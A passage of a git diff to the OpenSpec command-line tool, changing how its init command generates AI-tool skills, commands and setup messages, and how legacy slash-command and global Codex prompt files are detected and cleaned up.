getTransformerForTool( + tool.value, + delivery, + resolveCommandSurfaceCapability(tool.value), + resolveCommandInvocation(tool.value) + ); const skillContent = generateSkillContent(template, OPENSPEC_VERSION, transformer); // Write the skill file + FileSystemUtils.assertPathWithin(tool.skillsRoot, skillFile); await FileSystemUtils.writeFile(skillFile, skillContent); } + writeSharedSkillTarget(projectPath, tool.value); } - if (!shouldGenerateSkills) { - const skillsDir = path.join(projectPath, tool.skillsDir, 'skills'); - removedSkillCount += await this.removeSkillDirs(skillsDir); + if (shouldRemoveSkillsForTool(tool.value, delivery) && !tool.isGlobalSkillTarget) { + removedSkillCount += await this.removeSkillDirs(tool.skillsRoot, tool.skillsPath); + // Retain an explicit selection even when this delivery mode produces + // no skills, so a divergent legacy sibling cannot reclaim ownership. + writeSharedSkillTarget(projectPath, tool.value); } // Generate commands if delivery includes commands @@ -557,16 +923,23 @@ export class InitCommand { const generatedCommands = generateCommands(commandContents, adapter); for (const cmd of generatedCommands) { - const commandFile = path.isAbsolute(cmd.path) ? cmd.path : path.join(projectPath, cmd.path); + const commandFile = FileSystemUtils.resolveProjectArtifactPath(projectPath, cmd.path); await FileSystemUtils.writeFile(commandFile, cmd.fileContent); } + } + } else if (deliveryIncludesCommands) { + if (resolveCommandSurfaceCapability(tool.value) === 'skills-invocable') { + skillsInvocableCommandSkips.push(tool.value); } else { commandsSkipped.push(tool.value); } } - if (!shouldGenerateCommands) { + if (shouldReconcileCommandFilesForTool(tool.value, delivery)) { removedCommandCount += await this.removeCommandFiles(projectPath, tool.value); } + if (tool.value === 'github-copilot' && writeCopilotCloud) { + await writeCopilotCloudFiles(projectPath); + } spinner.succeed(`Setup complete for ${tool.name}`); @@ -581,11 +954,26 @@ export class InitCommand { } } + for (const tool of [...createdTools, ...refreshedTools]) { + for (const migration of migrateLegacyToolDirs( + projectPath, + [tool.value], + 'after-generation' + )) { + if (hasMovableContent(migration)) { + console.log(chalk.dim(`Migrated ${describeLegacyMigration(migration)}: ${migration.from} → ${migration.to}`)); + } + const kept = keptInPlaceNotice(migration); + if (kept) console.log(chalk.dim(kept)); + } + } + return { createdTools, refreshedTools, failedTools, commandsSkipped, + skillsInvocableCommandSkips, removedCommandCount, removedSkillCount, }; @@ -605,13 +993,10 @@ export class InitCommand { return 'exists'; } - // In non-interactive mode without --force, skip config creation - if (!this.canPromptInteractively() && !this.force) { - return 'skipped'; - } try { const yamlContent = serializeConfig({ schema: DEFAULT_SCHEMA }); + FileSystemUtils.assertProjectArtifactPath(path.dirname(openspecPath), configPath); await FileSystemUtils.writeFile(configPath, yamlContent); return 'created'; } catch { @@ -625,19 +1010,31 @@ export class InitCommand { private displaySuccessMessage( projectPath: string, - tools: Array<{ value: string; name: string; skillsDir: string; wasConfigured: boolean }>, + tools: ValidatedInitTool[], results: { createdTools: typeof tools; refreshedTools: typeof tools; failedTools: Array<{ name: string; error: Error }>; commandsSkipped: string[]; + skillsInvocableCommandSkips: string[]; removedCommandCount: number; removedSkillCount: number; }, - configStatus: 'created' | 'exists' | 'skipped' + configStatus: 'created' | 'exists' | 'skipped', + copilot: { + write: boolean; + skippedUndecided: boolean; + present: string[]; + collisions: string[]; + removed: number; + } ): void { console.log(); - console.log(chalk.bold('OpenSpec Setup Complete')); + console.log( + chalk.bold( + results.failedTools.length > 0 ? 'OpenSpec Setup Incomplete' : 'OpenSpec Setup Complete' + ) + ); console.log(); // Show created vs refreshed tools @@ -655,15 +1052,66 @@ export class InitCommand { const profile: Profile = (this.profileOverride as Profile) ?? globalConfig.profile ?? 'core'; const delivery: Delivery = globalConfig.delivery ?? 'both'; const workflows = getProfileWorkflows(profile, globalConfig.workflows); - const toolDirs = [...new Set(successfulTools.map((t) => t.skillsDir))].join(', '); - const skillCount = delivery !== 'commands' ? getSkillTemplates(workflows).length : 0; - const commandCount = delivery !== 'skills' ? getCommandContents(workflows).length : 0; - if (skillCount > 0 && commandCount > 0) { - console.log(`${skillCount} skills and ${commandCount} commands in ${toolDirs}/`); - } else if (skillCount > 0) { - console.log(`${skillCount} skills in ${toolDirs}/`); - } else if (commandCount > 0) { - console.log(`${commandCount} commands in ${toolDirs}/`); + const usesGlobalSkillTarget = successfulTools.some((tool) => tool.isGlobalSkillTarget); + + if (!usesGlobalSkillTarget) { + const toolDirs = [ + ...new Set( + successfulTools + .map((tool) => tool.skillsDir) + .filter((skillsDir): skillsDir is string => Boolean(skillsDir)) + ), + ].join(', '); + const skillCount = successfulTools.some((tool) => + shouldGenerateSkillsForTool(tool.value, delivery) + ) + ? getSkillTemplates(workflows).length + : 0; + const commandCount = successfulTools.some((tool) => + shouldGenerateCommandsForTool(tool.value, delivery) + ) + ? getCommandContents(workflows).length + : 0; + if (skillCount > 0 && commandCount > 0) { + console.log(`${skillCount} skills and ${commandCount} commands in ${toolDirs}/`); + } else if (skillCount > 0) { + console.log(`${skillCount} skills in ${toolDirs}/`); + } else if (commandCount > 0) { + console.log(`${commandCount} commands in ${toolDirs}/`); + } + } else { + const skillTools = successfulTools.filter((tool) => + shouldGenerateSkillsForTool(tool.value, delivery) + ); + const skillCount = skillTools.length * getSkillTemplates(workflows).length; + if (skillCount > 0) { + const skillDirs = [...new Set(skillTools.map((tool) => tool.skillsPath))]; + console.log(`${skillCount} skills in ${skillDirs.join(', ')}`); + } + + const commandContents = getCommandContents(workflows); + const commandTools = successfulTools.filter((tool) => + shouldGenerateCommandsForTool(tool.value, delivery) + ); + const commandCount = commandTools.length * commandContents.length; + if (commandCount > 0) { + const commandDirs = [ + ...new Set( + commandTools.flatMap((tool) => { + const adapter = CommandAdapterRegistry.get(tool.value); + if (!adapter) return []; + return commandContents.map((command) => { + const commandPath = adapter.getFilePath(command.id); + const absolutePath = path.isAbsolute(commandPath) + ? commandPath + : path.join(projectPath, commandPath); + return path.dirname(absolutePath); + }); + }) + ), + ]; + console.log(`${commandCount} commands in ${commandDirs.join(', ')}`); + } } } @@ -676,6 +1124,9 @@ export class InitCommand { if (results.commandsSkipped.length > 0) { console.log(chalk.dim(`Commands skipped for: ${results.commandsSkipped.join(', ')} (no adapter)`)); } + if (results.skillsInvocableCommandSkips.length > 0) { + console.log(chalk.dim(`Commands skipped for: ${results.skillsInvocableCommandSkips.join(', ')} (uses skills)`)); + } if (results.removedCommandCount > 0) { console.log(chalk.dim(`Removed: ${results.removedCommandCount} command files (delivery: skills)`)); } @@ -683,6 +1134,41 @@ export class InitCommand { console.log(chalk.dim(`Removed: ${results.removedSkillCount} skill directories (delivery: commands)`)); } + // GitHub Copilot cloud files are opt-in — report what is actually on disk: + // list the managed files that now exist (never files we didn't write), flag + // any user-owned file we left untouched, note an opt-out cleanup, or (when + // skipped for want of a signal) say how to turn them on. + const copilotSucceeded = successfulTools.some((tool) => tool.value === 'github-copilot'); + if (copilotSucceeded && copilot.write) { + if (copilot.present.length > 0) { + console.log(`GitHub Copilot cloud files: ${copilot.present.join(', ')}`); + } + if (copilot.collisions.length > 0) { + console.log( + chalk.dim( + `Left your existing ${copilot.collisions.join(' and ')} untouched — add the OpenSpec ` + + `install step by hand so the Copilot cloud agent can run openspec.` + ) + ); + } + } else if (copilotSucceeded && copilot.removed > 0) { + console.log( + chalk.dim(`Removed: ${copilot.removed} Copilot cloud agent file(s) (opted out of cloud files)`) + ); + } else if (copilotSucceeded && copilot.skippedUndecided) { + console.log( + chalk.dim("Skipped GitHub Copilot cloud files (opt-in). Enable with 'openspec init --copilot-cloud'.") + ); + } + + // Show manual setup notes for tools that need extra configuration + for (const tool of successfulTools) { + const setupNote = AI_TOOLS.find((t) => t.value === tool.value)?.setupNote; + if (setupNote) { + console.log(chalk.yellow(`Setup required for ${tool.name}: ${setupNote}`)); + } + } + // Config status if (configStatus === 'created') { console.log(`Config: openspec/config.yaml (schema: ${DEFAULT_SCHEMA})`); @@ -697,16 +1183,88 @@ export class InitCommand { } // Getting started (task 7.6: show propose if in profile) - const globalCfg = getGlobalConfig(); - const activeProfile: Profile = (this.profileOverride as Profile) ?? globalCfg.profile ?? 'core'; - const activeWorkflows = [...getProfileWorkflows(activeProfile, globalCfg.workflows)]; - console.log(); - if (activeWorkflows.includes('propose')) { + const activeWorkflows = this.getActiveWorkflows(); + // When no tool got /opsx:* commands, point at the skill instead of a + // command that does not exist. + const activeDelivery: Delivery = getGlobalConfig().delivery ?? 'both'; + const commandsGenerated = successfulTools.some((tool) => shouldGenerateCommandsForTool(tool.value, activeDelivery)); + const skillsGenerated = successfulTools.some((tool) => shouldGenerateSkillsForTool(tool.value, activeDelivery)); + // Each hint line must be a usable instruction for the tool it serves. + // Tools that generated commands are told the command name their files + // answer to (/opsx:* when namespaced under opsx/, /opsx-* when the + // filename is the command); tools that only got skills are told their + // documented skill invocation (Kimi Code: /skill:openspec-*; Codex CLI: + // $openspec-*; others: /openspec-*). Tools that got no artifacts are + // covered by the configuration correction instead. When the selection + // disagrees, print one line per distinct instruction, labeled with the + // tools it applies to. + const startHintLines = (command: string): string[] => { + const hintToTools = new Map<string, string[]>(); + for (const tool of successfulTools) { + let hint: string; + if (shouldGenerateCommandsForTool(tool.value, activeDelivery)) { + const transformer = getTransformerForTool( + tool.value, + activeDelivery, + resolveCommandSurfaceCapability(tool.value), + resolveCommandInvocation(tool.value) + ); + hint = `Start your first change: ${transformer ? transformer(command) : command} "your idea"`; + } else if (shouldGenerateSkillsForTool(tool.value, activeDelivery)) { + const skillReference = getSkillReferenceTransformer(tool.value)(command); + // Tools with no slash surface (e.g. Rovo Dev) reference skills as + // prose ("the openspec-propose skill"); phrase the hint so it reads + // as an instruction rather than a dead command with an argument. + hint = usesNaturalLanguageSkillReferences(tool.value) + ? `Start your first change: ask ${tool.name} to use ${skillReference} with "your idea"` + : `Start your first change: ${skillReference} "your idea"`; + } else { + continue; + } + hintToTools.set(hint, [...(hintToTools.get(hint) ?? []), tool.name]); + } + if (hintToTools.size === 0) { + // No successful tools: keep the generic command hint + return [`Start your first change: ${command} "your idea"`]; + } + if (hintToTools.size === 1) { + return [[...hintToTools.keys()][0]]; + } + return [...hintToTools.entries()].map(([hint, toolNames]) => `${hint} (${toolNames.join(', ')})`); + }; + const printStartHints = (command: string): void => { console.log(chalk.bold('Getting started:')); - console.log(' Start your first change: /opsx:propose "your idea"'); + for (const line of startHintLines(command)) { + console.log(` ${line}`); + } + }; + console.log(); + // delivery=commands with tools that only support skills: those tools get + // no artifacts at all, so print a per-tool configuration correction + // rather than leave them with a dead (or missing) instruction — even + // when other selected tools did get commands or skills. + const zeroArtifactTools = successfulTools.filter( + (tool) => + !shouldGenerateSkillsForTool(tool.value, activeDelivery) && + !shouldGenerateCommandsForTool(tool.value, activeDelivery) + ); + if (zeroArtifactTools.length > 0) { + const names = zeroArtifactTools.map((tool) => tool.name).join(', '); + console.log( + chalk.yellow( + `No skills or commands were generated for ${names}: delivery is set to 'commands' but ` + + `${zeroArtifactTools.length === 1 ? 'it supports' : 'they support'} only skills. ` + + `Run 'openspec config set delivery both' to generate skills.` + ) + ); + } + if (successfulTools.length > 0 && !commandsGenerated && !skillsGenerated) { + // Nothing was generated for any tool: the correction above is the + // whole story, so don't advertise an invocation that doesn't exist. + } else if (activeWorkflows.includes('propose')) { + printStartHints('/opsx:propose'); } else if (activeWorkflows.includes('new')) { - console.log(chalk.bold('Getting started:')); - console.log(' Start your first change: /opsx:new "your idea"'); + printStartHints('/opsx:new'); } else { console.log("Done. Run 'openspec config profile' to configure your workflows."); } @@ -716,10 +1274,20 @@ export class InitCommand { console.log(`Learn more: ${chalk.cyan('https://github.com/Fission-AI/OpenSpec')}`); console.log(`Feedback: ${chalk.cyan('https://github.com/Fission-AI/OpenSpec/issues')}`); - // Restart instruction if any tools were configured - if (results.createdTools.length > 0 || results.refreshedTools.length > 0) { + // Restart instruction if any tools were configured and got a surface + // (when nothing was generated there is nothing a restart would pick up); + // only mention commands when commands were actually generated. Not "slash + // commands": Amazon Q's generated files are prompt-library entries invoked + // with @, so a restart line promising slash commands would be wrong for it. + if ((results.createdTools.length > 0 || results.refreshedTools.length > 0) && (commandsGenerated || skillsGenerated)) { console.log(); - console.log(chalk.white('Restart your IDE for slash commands to take effect.')); + console.log( + chalk.white( + commandsGenerated + ? 'Restart your IDE for the new commands to take effect.' + : 'Restart your IDE for the new skills to take effect.' + ) + ); } console.log(); @@ -734,7 +1302,7 @@ export class InitCommand { }).start(); } - private async removeSkillDirs(skillsDir: string): Promise<number> { + private async removeSkillDirs(skillsRoot: string, skillsDir: string): Promise<number> { let removed = 0; for (const workflow of ALL_WORKFLOWS) { @@ -742,11 +1310,11 @@ export class InitCommand { if (!dirName) continue; const skillDir = path.join(skillsDir, dirName); + if (!fs.existsSync(skillDir)) continue; + FileSystemUtils.assertPathWithin(skillsRoot, skillDir); try { - if (fs.existsSync(skillDir)) { - await fs.promises.rm(skillDir, { recursive: true, force: true }); - removed++; - } + await fs.promises.rm(skillDir, { recursive: true, force: true }); + removed++; } catch { // Ignore errors } @@ -762,7 +1330,7 @@ export class InitCommand { for (const workflow of ALL_WORKFLOWS) { const cmdPath = adapter.getFilePath(workflow); - const fullPath = path.isAbsolute(cmdPath) ? cmdPath : path.join(projectPath, cmdPath); + const fullPath = FileSystemUtils.resolveProjectArtifactPath(projectPath, cmdPath); try { if (fs.existsSync(fullPath)) { diff --git a/src/core/legacy-cleanup.ts b/src/core/legacy-cleanup.ts index f3cbb560e1..ccc47df160 100644 --- a/src/core/legacy-cleanup.ts +++ b/src/core/legacy-cleanup.ts @@ -4,10 +4,12 @@ */ import path from 'path'; +import os from 'os'; import { promises as fs } from 'fs'; import chalk from 'chalk'; import { FileSystemUtils, removeMarkerBlock as removeMarkerBlockUtil } from '../utils/file-system.js'; import { OPENSPEC_MARKERS } from './config.js'; +import type { WorkflowId } from './profiles.js'; /** * Legacy config file names from the old ToolRegistry. @@ -37,11 +39,13 @@ export const LEGACY_SLASH_COMMAND_PATHS: Record<string, LegacySlashCommandPatter 'lingma': { type: 'directory', path: '.lingma/commands/openspec' }, 'crush': { type: 'directory', path: '.crush/commands/openspec' }, 'gemini': { type: 'directory', path: '.gemini/commands/openspec' }, - 'costrict': { type: 'directory', path: '.cospec/openspec/commands' }, // File-based: individual openspec-*.md files in a commands/workflows/prompts folder 'cursor': { type: 'files', pattern: '.cursor/commands/openspec-*.md' }, - 'windsurf': { type: 'files', pattern: '.windsurf/workflows/openspec-*.md' }, + // Keyed by the tool id these map back to, so the pre-opsx Windsurf files + // belong to `devin` — the id Windsurf became. Only `.windsurf/` is listed: + // `.devin/` postdates the opsx rename and never held `openspec-*` files. + 'devin': { type: 'files', pattern: '.windsurf/workflows/openspec-*.md' }, 'kilocode': { type: 'files', pattern: '.kilocode/workflows/openspec-*.md' }, 'kiro': { type: 'files', pattern: '.kiro/prompts/openspec-*.prompt.md' }, 'github-copilot': { type: 'files', pattern: '.github/prompts/openspec-*.prompt.md' }, @@ -54,9 +58,44 @@ export const LEGACY_SLASH_COMMAND_PATHS: Record<string, LegacySlashCommandPatter 'continue': { type: 'files', pattern: '.continue/prompts/openspec-*.prompt' }, 'antigravity': { type: 'files', pattern: '.agent/workflows/openspec-*.md' }, 'iflow': { type: 'files', pattern: '.iflow/commands/openspec-*.md' }, - 'junie': { type: 'files', pattern: ['.junie/commands/opsx-*.md', '.junie/commands/openspec-*.md'] }, - 'qwen': { type: 'files', pattern: '.qwen/commands/openspec-*.toml' }, + 'qwen': { type: 'files', pattern: ['.qwen/commands/opsx-*.toml', '.qwen/commands/openspec-*.toml'] }, 'codex': { type: 'files', pattern: '.codex/prompts/openspec-*.md' }, + // Keep this file-scoped: the CoStrict adapter writes `opsx-*.md` into the + // same folder, so a directory entry removes the live command files — and + // anything else the user keeps there — on every run. + 'costrict': { type: 'files', pattern: '.cospec/openspec/commands/openspec-*.md' }, +}; + +/** + * Final OpenSpec-managed global Codex prompt filenames mapped to the workflows + * they represented before Codex moved to skills-only delivery. + */ +const LEGACY_GLOBAL_CODEX_WORKFLOWS: Record<string, readonly WorkflowId[]> = { + 'opsx-propose.md': ['propose'], + 'opsx-explore.md': ['explore'], + 'opsx-new.md': ['new'], + 'opsx-continue.md': ['continue'], + 'opsx-apply.md': ['apply'], + 'opsx-update.md': ['update'], + 'opsx-ff.md': ['ff'], + 'opsx-sync.md': ['sync'], + 'opsx-archive.md': ['archive'], + 'opsx-bulk-archive.md': ['bulk-archive'], + 'opsx-verify.md': ['verify'], + 'opsx-onboard.md': ['onboard'], +}; + +/** + * Global legacy prompt locations that live outside the project tree and require + * allowlisted matching instead of broad glob-based cleanup. + */ +export const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlobalPromptPattern> = { + 'codex': { + managedFileNames: Object.keys(LEGACY_GLOBAL_CODEX_WORKFLOWS), + workflowIdsByFileName: LEGACY_GLOBAL_CODEX_WORKFLOWS, + resolvePromptDir: getCodexPromptDir, + replacementLabel: 'Codex skills', + }, }; /** @@ -68,6 +107,81 @@ export interface LegacySlashCommandPattern { pattern?: string | string[]; // For files type (glob pattern or array of patterns) } +/** + * Describes a managed global prompt home and the exact filenames OpenSpec is + * allowed to treat as legacy artifacts there. + */ +export interface LegacyGlobalPromptPattern { + managedFileNames: readonly string[]; + workflowIdsByFileName?: Readonly<Record<string, readonly WorkflowId[]>>; + resolvePromptDir: () => string; + replacementLabel?: string; +} + +/** + * Workflow-aware metadata for a detected global legacy prompt that is safe for + * replacement-gated cleanup. + */ +export interface LegacyGlobalPromptMatch { + path: string; + toolId: string; + managedFileName: string; + workflowIds: readonly WorkflowId[]; + replacementLabel?: string; +} + +// Resolve the Codex global prompts directory, respecting CODEX_HOME if set. +export function getCodexPromptDir(): string { + const envHome = process.env.CODEX_HOME?.trim(); + const codexHome = envHome ? envHome : path.join(os.homedir(), '.codex'); + return path.join(path.resolve(codexHome), 'prompts'); +} + +// Convert a simple glob pattern (only * wildcards) into an anchored RegExp. +function globToRegex(pattern: string): RegExp { + const regexPattern = pattern + .replace(/[.+^${}()|[\]\\]/g, '\\$&') + .replace(/\*/g, '.*'); + return new RegExp(`^${regexPattern}$`); +} + +// Normalize Windows backslashes to forward slashes for cross-platform path matching. +function normalizePathForMatch(filePath: string): string { + return filePath.replace(/\\/g, '/'); +} + +/** + * Classifies a global Codex prompt path as OpenSpec-managed only when it matches + * the explicit legacy allowlist for the resolved prompt home. + */ +function getManagedGlobalLegacyPromptMetadata(filePath: string): LegacyGlobalPromptMatch | undefined { + if (!path.isAbsolute(filePath)) { + return undefined; + } + + const resolvedPath = path.resolve(filePath); + + for (const [toolId, pattern] of Object.entries(LEGACY_GLOBAL_SLASH_COMMAND_PATHS)) { + const promptDir = path.resolve(pattern.resolvePromptDir()); + if (path.dirname(resolvedPath) !== promptDir) { + continue; + } + + const managedFileName = path.basename(resolvedPath); + if (pattern.managedFileNames.includes(managedFileName)) { + return { + path: resolvedPath, + toolId, + managedFileName, + workflowIds: pattern.workflowIdsByFileName?.[managedFileName] ?? [], + replacementLabel: pattern.replacementLabel, + }; + } + } + + return undefined; +} + /** * Result of legacy artifact detection */ @@ -80,6 +194,10 @@ export interface LegacyDetectionResult { slashCommandDirs: string[]; /** Legacy slash command files found (for file-based tools) */ slashCommandFiles: string[]; + /** Managed global command/prompt files found outside the project root */ + globalSlashCommandFiles: string[]; + /** Details for managed global command/prompt files */ + globalSlashCommandDetails?: LegacyGlobalPromptMatch[]; /** Whether openspec/AGENTS.md exists */ hasOpenspecAgents: boolean; /** Whether openspec/project.md exists (preserved, migration hint only) */ @@ -104,6 +222,8 @@ export async function detectLegacyArtifacts( configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], + globalSlashCommandDetails: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -118,7 +238,11 @@ export async function detectLegacyArtifacts( // Detect legacy slash commands const slashResult = await detectLegacySlashCommands(projectPath); result.slashCommandDirs = slashResult.directories; - result.slashCommandFiles = slashResult.files; + result.slashCommandFiles = [...new Set(slashResult.files)]; + + // Detect legacy global slash commands + result.globalSlashCommandDetails = await detectLegacyGlobalPromptFiles(); + result.globalSlashCommandFiles = result.globalSlashCommandDetails.map((detail) => detail.path); // Detect legacy structure files const structureResult = await detectLegacyStructureFiles(projectPath); @@ -131,6 +255,7 @@ export async function detectLegacyArtifacts( result.configFiles.length > 0 || result.slashCommandDirs.length > 0 || result.slashCommandFiles.length > 0 || + result.globalSlashCommandFiles.length > 0 || result.hasOpenspecAgents || result.hasRootAgentsWithMarkers || result.hasProjectMd; @@ -186,14 +311,13 @@ export async function detectLegacySlashCommands( const directories: string[] = []; const files: string[] = []; - for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) { + for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) { if (pattern.type === 'directory' && pattern.path) { const dirPath = FileSystemUtils.joinPath(projectPath, pattern.path); if (await FileSystemUtils.directoryExists(dirPath)) { directories.push(pattern.path); } } else if (pattern.type === 'files' && pattern.pattern) { - // For file-based patterns, check for individual files const patterns = Array.isArray(pattern.pattern) ? pattern.pattern : [pattern.pattern]; for (const p of patterns) { const foundFiles = await findLegacySlashCommandFiles(projectPath, p); @@ -205,6 +329,40 @@ export async function detectLegacySlashCommands( return { directories, files }; } +/** + * Detects legacy global slash command files. + * + * @returns Object with individual files found + */ +/** + * Scans the resolved global Codex prompt directories and returns only the + * allowlisted OpenSpec-managed legacy prompt files. + */ +async function detectLegacyGlobalPromptFiles(): Promise<LegacyGlobalPromptMatch[]> { + const foundFiles: LegacyGlobalPromptMatch[] = []; + + for (const pattern of Object.values(LEGACY_GLOBAL_SLASH_COMMAND_PATHS)) { + const promptDir = pattern.resolvePromptDir(); + + try { + const entries = await fs.readdir(promptDir, { withFileTypes: true }); + for (const entry of entries) { + if (entry.isFile() && pattern.managedFileNames.includes(entry.name)) { + const fullPath = path.join(promptDir, entry.name); + const match = getManagedGlobalLegacyPromptMetadata(fullPath); + if (match) { + foundFiles.push(match); + } + } + } + } catch { + // Directory does not exist or cannot be read. + } + } + + return foundFiles; +} + /** * Finds legacy slash command files matching a glob pattern. * @@ -235,14 +393,7 @@ async function findLegacySlashCommandFiles( try { const entries = await fs.readdir(dirPath); - // Convert glob pattern to regex - // openspec-*.md -> /^openspec-.*\.md$/ - // openspec-*.prompt.md -> /^openspec-.*\.prompt\.md$/ - // openspec-*.toml -> /^openspec-.*\.toml$/ - const regexPattern = filePart - .replace(/[.+^${}()|[\]\\]/g, '\\$&') // Escape regex special chars except * - .replace(/\*/g, '.*'); // Replace * with .* - const regex = new RegExp(`^${regexPattern}$`); + const regex = globToRegex(filePart); for (const entry of entries) { if (regex.test(entry)) { @@ -343,6 +494,8 @@ export function removeMarkerBlock(content: string): string { export interface CleanupResult { /** Files that were deleted entirely */ deletedFiles: string[]; + /** Replacement labels for deleted files when cleanup knows the new surface */ + deletedFileReplacementLabels?: Record<string, string>; /** Files that had marker blocks removed */ modifiedFiles: string[]; /** Directories that were deleted */ @@ -367,6 +520,7 @@ export async function cleanupLegacyArtifacts( ): Promise<CleanupResult> { const result: CleanupResult = { deletedFiles: [], + deletedFileReplacementLabels: {}, modifiedFiles: [], deletedDirs: [], projectMdNeedsMigration: detection.hasProjectMd, @@ -410,6 +564,28 @@ export async function cleanupLegacyArtifacts( } } + // Delete managed global slash command files (these are 100% OpenSpec-managed) + const globalPromptMatchesByPath = new Map( + getLegacyGlobalPromptMatches(detection).map((prompt) => [prompt.path, prompt] as const) + ); + for (const filePath of detection.globalSlashCommandFiles) { + if (!getManagedGlobalLegacyPromptMetadata(filePath)) { + result.errors.push(`Skipped unmanaged global prompt ${filePath}`); + continue; + } + + try { + await fs.unlink(filePath); + result.deletedFiles.push(filePath); + const promptMatch = globalPromptMatchesByPath.get(filePath); + if (promptMatch?.replacementLabel) { + result.deletedFileReplacementLabels![filePath] = promptMatch.replacementLabel; + } + } catch (error: any) { + result.errors.push(`Failed to delete ${filePath}: ${error.message}`); + } + } + // Delete openspec/AGENTS.md (this is inside openspec/, it's OpenSpec-managed) if (detection.hasOpenspecAgents) { const agentsPath = FileSystemUtils.joinPath(projectPath, 'openspec', 'AGENTS.md'); @@ -443,11 +619,16 @@ export function formatCleanupSummary(result: CleanupResult): string { lines.push('Cleaned up legacy files:'); for (const file of result.deletedFiles) { - lines.push(` ✓ Removed ${file}`); + const replacementLabel = result.deletedFileReplacementLabels?.[file] + ?? getManagedGlobalLegacyPromptMetadata(file)?.replacementLabel; + const replacement = replacementLabel + ? ` (replaced by ${replacementLabel})` + : ''; + lines.push(` ✓ Removed ${file}${replacement}`); } for (const dir of result.deletedDirs) { - lines.push(` ✓ Removed ${dir}/ (replaced by /opsx:*)`); + lines.push(` ✓ Removed ${dir}/ (replaced by OpenSpec skills and commands)`); } for (const file of result.modifiedFiles) { @@ -498,6 +679,14 @@ function buildRemovalsList(detection: LegacyDetectionResult): Array<{ path: stri removals.push({ path: file, explanation: 'replaced by skills/' }); } + // Managed global slash command files + for (const prompt of getLegacyGlobalPromptMatches(detection)) { + const explanation = prompt.toolId + ? `replaced by .${prompt.toolId}/skills/` + : 'replaced by skills/'; + removals.push({ path: prompt.path, explanation }); + } + // openspec/AGENTS.md (inside openspec/, it's OpenSpec-managed) if (detection.hasOpenspecAgents) { removals.push({ path: 'openspec/AGENTS.md', explanation: 'obsolete workflow file' }); @@ -581,6 +770,27 @@ export function formatDetectionSummary(detection: LegacyDetectionResult): string return lines.join('\n'); } +/** + * Generates a summary for managed global prompt files whose cleanup must wait + * until replacement skills are installed. + */ +export function formatDeferredGlobalPromptSummary(detection: LegacyDetectionResult): string { + const deferredPrompts = getLegacyGlobalPromptMatches(detection); + if (deferredPrompts.length === 0) { + return ''; + } + + const lines: string[] = []; + lines.push(chalk.bold('Deferred global prompts cleanup')); + lines.push(chalk.dim('These global prompts will only be removed after matching replacement skills are installed.')); + for (const prompt of deferredPrompts) { + const toolLabel = prompt.toolId ? `${prompt.toolId}: ` : ''; + lines.push(` • ${toolLabel}${prompt.path}`); + } + + return lines.join('\n'); +} + /** * Extract tool IDs from detected legacy artifacts. * Uses LEGACY_SLASH_COMMAND_PATHS to map paths back to tool IDs. @@ -604,18 +814,13 @@ export function getToolsFromLegacyArtifacts(detection: LegacyDetectionResult): s // Match files to tool IDs using glob patterns for (const file of detection.slashCommandFiles) { // Normalize file path to use forward slashes for consistent matching (Windows compatibility) - const normalizedFile = file.replace(/\\/g, '/'); + const normalizedFile = normalizePathForMatch(file); for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) { if (pattern.type === 'files' && pattern.pattern) { - // Convert glob pattern to regex for matching - // e.g., '.cursor/commands/openspec-*.md' -> /^\.cursor\/commands\/openspec-.*\.md$/ const patterns = Array.isArray(pattern.pattern) ? pattern.pattern : [pattern.pattern]; let matched = false; for (const p of patterns) { - const regexPattern = p - .replace(/[.+^${}()|[\]\\]/g, '\\$&') // Escape regex special chars except * - .replace(/\*/g, '.*'); // Replace * with .* - const regex = new RegExp(`^${regexPattern}$`); + const regex = globToRegex(p); if (regex.test(normalizedFile)) { tools.add(toolId); matched = true; @@ -627,9 +832,102 @@ export function getToolsFromLegacyArtifacts(detection: LegacyDetectionResult): s } } + for (const prompt of getLegacyGlobalPromptMatches(detection)) { + tools.add(prompt.toolId); + } + return Array.from(tools); } +/** + * Normalizes global Codex prompt matches so callers can rely on workflow-aware + * metadata even when older detection results only carry file paths. + */ +export function getLegacyGlobalPromptMatches(detection: LegacyDetectionResult): LegacyGlobalPromptMatch[] { + if (detection.globalSlashCommandDetails && detection.globalSlashCommandDetails.length > 0) { + return detection.globalSlashCommandDetails; + } + + return detection.globalSlashCommandFiles + .map((filePath) => getManagedGlobalLegacyPromptMetadata(filePath)) + .filter((match): match is LegacyGlobalPromptMatch => match !== undefined); +} + +/** + * Collects workflow IDs inferred from detected legacy global prompts for a + * specific tool. + */ +export function getLegacyWorkflowIdsForTool( + detection: LegacyDetectionResult, + toolId: string +): WorkflowId[] { + const workflows = new Set<WorkflowId>(); + + for (const prompt of getLegacyGlobalPromptMatches(detection)) { + if (prompt.toolId !== toolId) { + continue; + } + + for (const workflowId of prompt.workflowIds) { + workflows.add(workflowId); + } + } + + return Array.from(workflows); +} + +function hasLegacyArtifacts(detection: LegacyDetectionResult): boolean { + return ( + detection.configFiles.length > 0 || + detection.slashCommandDirs.length > 0 || + detection.slashCommandFiles.length > 0 || + detection.globalSlashCommandFiles.length > 0 || + detection.hasOpenspecAgents || + detection.hasRootAgentsWithMarkers || + detection.hasProjectMd + ); +} + +/** + * Returns a detection snapshot with global Codex prompt cleanup removed so + * callers can safely perform the immediate, non-deferred cleanup pass. + */ +export function omitGlobalLegacyPromptFiles(detection: LegacyDetectionResult): LegacyDetectionResult { + const nextDetection: LegacyDetectionResult = { + ...detection, + globalSlashCommandFiles: [], + globalSlashCommandDetails: [], + }; + nextDetection.hasLegacyArtifacts = hasLegacyArtifacts(nextDetection); + return nextDetection; +} + +/** + * Builds a detection snapshot containing only the selected global Codex prompt + * matches for replacement-gated cleanup. + */ +export function pickGlobalLegacyPromptFiles( + detection: LegacyDetectionResult, + filePaths: readonly string[] +): LegacyDetectionResult { + const selectedPaths = new Set(filePaths.map((filePath) => path.resolve(filePath))); + const details = getLegacyGlobalPromptMatches(detection) + .filter((detail) => selectedPaths.has(path.resolve(detail.path))); + + return { + configFiles: [], + configFilesToUpdate: [], + slashCommandDirs: [], + slashCommandFiles: [], + globalSlashCommandFiles: details.map((detail) => detail.path), + globalSlashCommandDetails: details, + hasOpenspecAgents: false, + hasProjectMd: false, + 